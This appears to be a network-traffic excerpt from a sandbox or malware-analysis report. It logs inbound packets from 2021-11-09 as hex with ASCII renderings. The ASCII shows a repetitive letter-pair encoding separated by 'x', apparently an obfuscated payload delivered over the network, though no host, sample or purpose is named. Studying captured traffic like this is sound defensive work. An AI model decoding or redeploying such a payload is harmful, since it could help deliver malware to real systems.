2021-11-09 21:21:49 UTC	1113	IN	Data Raw: 78 20 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 6b 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 74 20 78 20 51 78 20 78 20 52 51 20 78 20 4b 6b 20 78 20 74 45 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 74 6f 20 78 20 59 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74 78 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 4b 51 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 45 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 74 20 78 20 59 45 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 78 20 78 Data Ascii: x YY x YO x Kt x KE x OOK x OOt x Yt x Kt x Kt x kx x Kk x QQ x YY x Kt x Qx x RQ x Kk x tE x Yt x OxR x OOY x Qx x to x Yt x tt x Rk x RY x kO x tx x kR x Oxt x KQ x kE x RY x Kt x YE x tK x kK x OxE x Oxo x Kt x tx x Oxt x YE x kx x Kt x OOQ x Qk x Yx x
2021-11-09 21:21:49 UTC	1117	IN	Data Raw: 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 Data Ascii: x KE x Ooo x QQ x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x Oxo x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x
2021-11-09 21:21:49 UTC	1121	IN	Data Raw: 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 Data Ascii: x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kK x RY x RY x RY x RY x RY x RY x RR x tK x OOx x Rt x kQ x RY x kY x RY x RR x OoO x RY x tO x YR x RY x QQ x RY x RR x Oxk x RY x to x tE x RY x Oxx x RY x RR x OOo x RY x tO x
2021-11-09 21:21:49 UTC	1125	IN	Data Raw: 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 74 45 20 78 Data Ascii: QQ x OOQ x RY x tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kO x RY x tO x OOQ x RY x Oxx x kO x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x kQ x OOx x RQ x RQ x RY x Oxx x kO x RR x Kk x RY x tO x YR x RY x tE x
2021-11-09 21:21:49 UTC	1128	IN	Data Raw: 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 4f Data Ascii: x OOx x RQ x tt x RY x Qt x RY x RR x OOk x RY x tO x YR x RY x QQ x OOQ x RR x Oxk x RY x Rt x RY x RY x kO x OOQ x RR x OOk x RY x tO x OOQ x RY x Oxx x kO x RR x OOR x RY x Rt x kQ x RY x Qk x OxE x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x tt x O
2021-11-09 21:21:49 UTC	1133	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 Data Ascii: x RY x RY x Oxk x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x tO x RY x kx x YR x RY x Rt x kO x Rk x OOK x RY x Kt x Kt x Kt x OxE x OxE x RR x kY x RY x tO x OxE x RY x Qx x kO x RY x OxE x RY x tO x kQ x RY x Qk x OOQ x RR x OOY x RY x tO x OOQ x RY
2021-11-09 21:21:49 UTC	1137	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Oxk x RY x to x RY x RR x OOQ x RY x kt x OOQ x RY x tK x RY x tQ x YR x Rk x RY x RY x Rk x Kt x Kt x Yo x tE x RY x kO x OOQ x RR x OOk x RY x tO x Kk x RY x Qk x kO x RR x OxK x RY x
2021-11-09 21:21:49 UTC	1141	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 52 20 78 20 6b 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x OxE x RY x Rt x RR x kY x tO x OxE x RR x kt x RY x RR x tR x RY x RY x OOQ x RY x KE x OxE x tt x RY x RY x kx x Kt x Kt x OxE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1145	IN	Data Raw: 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 Data Ascii: OxE x RY x OxE x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x Rt x RY x RY x Qx x OxE x RR x KQ x RY x tO x OOQ x RY x Qk x RY x RY x OxE x RY x to x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x tE x RY x RR x OOo x RY x to x tt x RY x tE x RY x R
2021-11-09 21:21:49 UTC	1149	IN	Data Raw: 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 52 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 Data Ascii: Y x tO x YR x RY x Qx x RY x RR x Oxk x RY x Rk x OOO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RY x OxK x kY x tY x tt x RY x OoO x kO x Rt x Kk x RY x tR x kQ x RY x RR x OOQ x kO x RY x RY x kx x
2021-11-09 21:21:49 UTC	1153	IN	Data Raw: 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: RY x Qk x OOQ x RR x OOt x RY x tO x Kk x RY x Qx x kO x RR x OOt x RY x to x kO x RY x tE x RY x RR x kK x RY x to x kO x RY x QQ x OxE x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RR x Ooo x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1157	IN	Data Raw: 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 Data Ascii: O x YR x RY x Qk x OOQ x RR x Ooo x RY x tO x kY x RY x tE x RY x RR x kO x RY x to x tE x RY x Qk x OOQ x RR x OxR x RY x tO x kY x RY x QQ x OOQ x RR x Ooo x RY x RY x RY x RY x Rt x RY x Rt x kO x RY x kO x RY x RR x kK x kO x RR x kK x RY x Rt x RY x
2021-11-09 21:21:49 UTC	1160	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 52 51 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x RY x RY x RY x Rt x Oxo x RY x tx x RQ x RY x tt x OxE x RY x tQ x RY x tQ x YR x Rk x Kt x Kt x KE x RY x RY x Rt x kQ x RY x kE x RY x RR x OOo x RY x tO x kO x RY x Qx x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x kY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1165	IN	Data Raw: 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 59 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 Data Ascii: to x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qx x kO x RR x Oxt x RY x Rt x RY x RY x kQ x OxE x RR x YE x RY x Rt x RY x RY x Oxx x kO x RR x Ooo x RY x tO x Oxt x RY x Qk x OxE x RR x OOx x RY x RR x tt x RY x kY x OOQ x RR x Oxk x RY x tO x
2021-11-09 21:21:49 UTC	1169	IN	Data Raw: 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 Data Ascii: x RY x tO x kY x RY x Qx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RQ x RY x kO x kO x RR x Oxt x RY x tO x kO x RY x tE x RY x RR x tx x RY x to x OxE x RY x QQ x RY x RR x OOY x RY x tO x
2021-11-09 21:21:49 UTC	1173	IN	Data Raw: 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 Data Ascii: x OxE x RR x OOk x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x to x tE x RY x tE x RY x RR x OOY x RY x tO x YR x RY x Qx x OOQ x RR x OOx x RY x tO x kY x RY x Qx x RY x RY x OOR x RY x tO x Oxt x RY x Qk x OxE x RY x OxE x RY x to x kY x RY x QQ x OOQ
2021-11-09 21:21:49 UTC	1177	IN	Data Raw: 4f 4f 51 20 78 20 52 52 20 78 20 59 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f Data Ascii: OOQ x RR x YO x RY x to x tt x RY x tE x RY x RR x tQ x RY x tx x kO x RY x tE x RY x RY x Kk x RY x Rt x Yo x RY x tt x RY x RY x OxE x RY x tx x tt x RY x kY x RY x RY x KQ x RY x tx x RR x RR x Rk x RY x RR x kk x RY x tO x Oxt x RY x Qk x OxE x RR x O
2021-11-09 21:21:49 UTC	1181	IN	Data Raw: 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 45 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 Data Ascii: x RY x OxE x RY x RQ x Yo x RY x kQ x kO x RR x OOR x RY x tO x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tR x RY x RQ x tt x RY x kE x tK x OOQ x RY x
2021-11-09 21:21:49 UTC	1185	IN	Data Raw: 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 Data Ascii: Oxk x RY x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x OOO x RY x Rt x tE x RY x RY x kO x RR x tt x RY x tO x kY x RY x Qx x OOQ x RR x OxK x RY x tO x OOQ x RY x kO x OOQ x RR x OOk x RY x to x RY x RY x OxO x kO x RR x OoO x
2021-11-09 21:21:49 UTC	1189	IN	Data Raw: 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 6b 45 20 78 20 74 4b 20 78 20 6b 51 20 78 20 74 51 20 78 20 52 6b 20 78 20 6b 51 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 74 6f 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 51 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 6b 20 78 20 51 74 20 78 20 59 78 20 78 20 6b 52 Data Ascii: R x Ooo x QQ x Yx x Yt x OoO x kO x kk x tK x OxR x Qt x tO x Oxk x Kk x Qx x kt x tk x Kk x Oxx x kk x tK x Oxk x kx x kE x tK x kQ x tQ x Rk x kQ x OxY x tE x to x RR x KQ x kQ x OxQ x Oox x OOo x kQ x Kk x OOR x Oxk x OxO x kR x ko x OOk x Qt x Yx x kR
